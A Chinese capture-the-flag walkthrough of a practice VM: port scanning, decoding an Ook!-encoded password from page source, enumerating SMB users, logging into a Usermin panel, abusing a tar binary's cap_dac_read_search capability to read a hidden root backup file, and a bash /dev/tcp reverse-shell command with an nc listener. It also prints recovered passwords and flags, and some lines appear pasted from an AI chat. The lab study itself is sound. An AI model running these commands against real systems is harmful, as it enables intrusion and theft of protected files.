1.主机探测

kali中也可以找到 但是靶机直接给了ip 只是用用kali中的命令

2.端口扫描

可以看到这里探测除了很多的端口,其中的80,10000,20000端口都是http服务,说明对方开启了很多网页服务

3.http探测

这里我们先直接尝试访问一下80端口,发现是一个正常的debian系统apache页面

在页面上并没有看到什么有用的信息,我们习惯性的查看下网页源码,发现作者给出了一段经过ook加密的密码

查看网页源代码(Ctrl+U)

服务器直接发给你的原始 HTML 代码

服务器响应的静态文件

看页面 “出厂状态” 的代码

右击检查 / 开发者工具(F12)

浏览器渲染后、经过 JS 修改的 DOM 树

浏览器实时处理后的结果

看页面 “当前状态” 的结构

我也是第一次接触这种加密方式,所以直接在这里给大家推荐一个在线站点点此进入 ,我们将ook加密的数据拿去解密,Brainfuck/Ook! Obfuscation/Encoding [splitbrain.org]

.2uqPEfj3D<P'a-3

4.10000端口

先尝试访问(这里有的人访问会报错,此时可以尝试https协议来访问),访问页面如下

http加s

发现应该是一个管理员登录页面,我们再看看20000端口的

5.20000端口

访问方法同上

这应该也是一个登录页面,不过是用户的

  • Webmin:系统管理员用的面板,能管理整个服务器(用户、服务、文件系统),需要 root / 管理员权限登录。
  • Usermin:普通用户用的面板,用户可以登录管理自己的邮件、文件、数据库,默认不直接给管理员权限,但它和 Webmin 共享底层代码,所以经常会出现跨权限漏洞

6.smb服务探测

由于我们刚才nmap探测端口时发现445端口和139端口探测出来的信息中存在smb服务,所以我们用linux再来探测一下目标的smb信息,这里可以用enum4linux这款smb枚举工具来进一步探测,输入下面这个命令,把ip换成你自己的目标ip就可以就可以

enum4linux 172.21.19.93

扫描结果如下,在最下方探测出了本地用户名——cyber

基础含义:enumerate

  • 音标:英 /ɪˈnjuːməreɪt/ 美 /ɪˈnuːməreɪt/
  • 核心释义
    1. 列举、枚举(最常用):把对象 / 数据逐个列出来,比如 enumerate users 就是 “列出所有用户”
    2. 数清、清点:把数量统计清楚

7.实际操作.FLAG1

在信息收集中,我们拿到了一个似乎是密码的东西,又探测到了两个登录页面,最后的smb信息探测中探测出了本地的用户名,那我们直接尝试一下用刚才的账号和密码进行登录管理员后台,不出所料,如下图,我们成功登录一cyber的身份登录用户后台

但这个页面全是中文,就不太好弄,在我一番努力(百度截图翻译)之下,发现左下角有一个可以点开终端来执行命令

我们点击打开终端,ls查看到当前文件夹下有两个文件,这个tar最开始没看懂,先查看一下user.txt文件,成功拿到第一个FLAG

8.FLAG2

可是还能从什么地方入手呢,首先想到的就是刚才的tar文件,毕竟是题目给出的,我们先查看一下这个文件的权限

这里发现这个文件的权限很高,并且是个可执行文件,再来看一下文件对于其他文件所拥有的权限,如下图

● d:目录(folder)
● -:普通文件(txt、php、二进制程序等)
● l:软链接(快捷方式)

rwx   r-x   r-x
所有者 组用户 其他用户

1. 先看关键信息:getcap tar 的结果

bash

运行 getcap tar

tar cap_dac_read_search=ep

这行的核心信息是:tar 这个命令,被赋予了 cap_dac_read_search 权限,而且是 =ep(effective + permitted,代表权限生效)。


2. 什么是 cap_dac_read_search

这是 Linux 的一种文件能力(Capabilities),它的作用是:

让一个普通用户进程,无视文件和目录的读权限限制,读取系统里的任意文件。

  • 正常情况下,你用 cat 读取 /root/flag.txt 时,如果文件权限是 -rw------- root root,你会被拒绝(Permission denied)。
  • 但如果用带了 cap_dac_read_search 权限的 tar 命令,就能绕开这个限制,直接读取任何文件,哪怕它属于 root

而在该目录下只有两个文件,我们都看过了,说明在其他地方一定存在一个文件需要用这个tar文件读取,这才是本题的关键

终于在我的不懈努力(查攻略)下,终于在var/backups下的一个备份文件.old_pass.bak

文件还是隐藏的,是真不知道大佬们怎么找出来的,我技不如人,这种地方就只能看看攻略这样子,雀氏佩服

但是可以看到这个文件并没有执行权限,但是刚才的tar文件有执行权限,所以我们可以尝试来一波骚操作,把这个文件用给的tar压缩后再用系统的tar文件解压,这样就没有权限问题了 ,代码如下:

目前也不是root 因为是root才可以读取这个文件 所以用上面的tar绕过

我知道你遇到的问题了!报错 tar: pass.tar: Cannot open: Permission denied 不是 tar 读不了源文件,而是你当前所在的 /var/backups 目录,普通用户没有写权限,所以 tar 没法在这里创建 pass.tar 这个文件。

可以cd ~返回家目录
打包文件
./tar -cvf passwd.tar /var/backups/.old_pass.bak 
解压文件
tar -xvf passwd.tar
这里加了./意思是用当前目录下的tar文件,不加./意思就是用系统的tar,因为题目给的tar文件有执行权限,所以要用题目给的tar打包,再查看解压的文件就可以成功查看到第二个flag了,如下

第二个flag如下

Ts&4&YurgtRX(=~h

9.提权

反弹shell

在靶机上输入命令bash -i >& /dev/tcp/192.168.10.114/9001 0>&1

192.168.10.114这个是我的kali nc -lvnp 9001

  • 熟练掌握了enum4linux枚举 SMB 服务和用户的方法
  • 理解了 Linux 文件能力(capabilities)提权的原理
  • 学会了利用tar的 cap 权限绕过文件读取限制
  • 体验了从普通用户到 root 的完整提权过程

这些都是渗透测试里非常实用的基础技能,你现在已经完全掌握了!

Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐